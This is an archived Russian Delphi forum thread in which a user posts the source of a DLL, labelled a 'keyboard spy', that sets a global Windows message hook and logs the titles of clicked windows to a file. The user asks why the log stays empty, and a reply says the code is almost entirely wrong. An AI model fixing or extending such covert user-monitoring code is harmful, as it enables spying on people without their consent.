Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2005.12.11;
Скачать: CL | DM;

Вниз

Перехват сообщений от мыши   Найти похожие ветки 

 
Виталий11111   (2005-10-13 15:00) [0]

ibrary spydll;

{ DLL для клавиатурного шпиёна}

uses Windows, Messages, SysUtils, Dialogs;
var SystemHook: HHook = 0;
Wnd : HWND = 0;
f: TextFile;
wtext: array[0..255] of Char;
fdir: String;

function SysMsgProc(Code: Integer; wParam: Word; lParam: LongInt):LongInt;stdcall;
begin
Result := CallNextHookEx(SystemHook, Code, wParam, lParam);
if Code = HC_ACTION then
 begin
  if TMsg(Pointer(lParam)^).message = WM_LBUTTONDOWN then
   begin
    AssignFile(f, "x.txt");
    if not FileExists("x.txt") then
     begin
      Rewrite(f);
      CloseFile(f);
     end;
    Append(f);
    Wnd := TMsg(Pointer(lParam)^).hwnd;
    GetWindowtext(Wnd, wtext, 255);
    WriteLn(f, wtext);
    Flush(f);
    CloseFile(f);
   end;
 end;
end;

procedure RunStopHook(State: Boolean) export;stdcall;
begin
if State then
 begin
  SystemHook := SetWindowsHookEx(WH_GETMESSAGE, @SysMsgProc, HInstance, 0);
 end
else
 begin
  UnhookWindowsHookEx(SystemHook);
  SystemHook := 0;
 end;
end;

exports RunStopHook index 1;

begin
end.

В файл ничего не пишется!!! В чём проблема?


 
Eraser ©   (2005-10-13 15:01) [1]


> Виталий11111   (13.10.05 15:00)

В том что код неправильный... почти весь.



Страницы: 1 вся ветка

Текущий архив: 2005.12.11;
Скачать: CL | DM;

Наверх




Память: 0.46 MB
Время: 0.03 c
2-1133123060
John Doe
2005-11-27 23:24
2005.12.11
Недекларированная SysMsgProc и ее параметры


14-1132357774
Nous Mellon_
2005-11-19 02:49
2005.12.11
Вопрос по настройке прав


14-1132659449
Quadro
2005-11-22 14:37
2005.12.11
Требуется довести до ума небольшую программу на Дельфи 7


1-1131700195
IGray
2005-11-11 12:09
2005.12.11
Как узнать, загружена ли чужая DLL abc.dll в память?


10-1108974148
Uran
2005-02-21 11:22
2005.12.11
Экспорт из Excel в dbf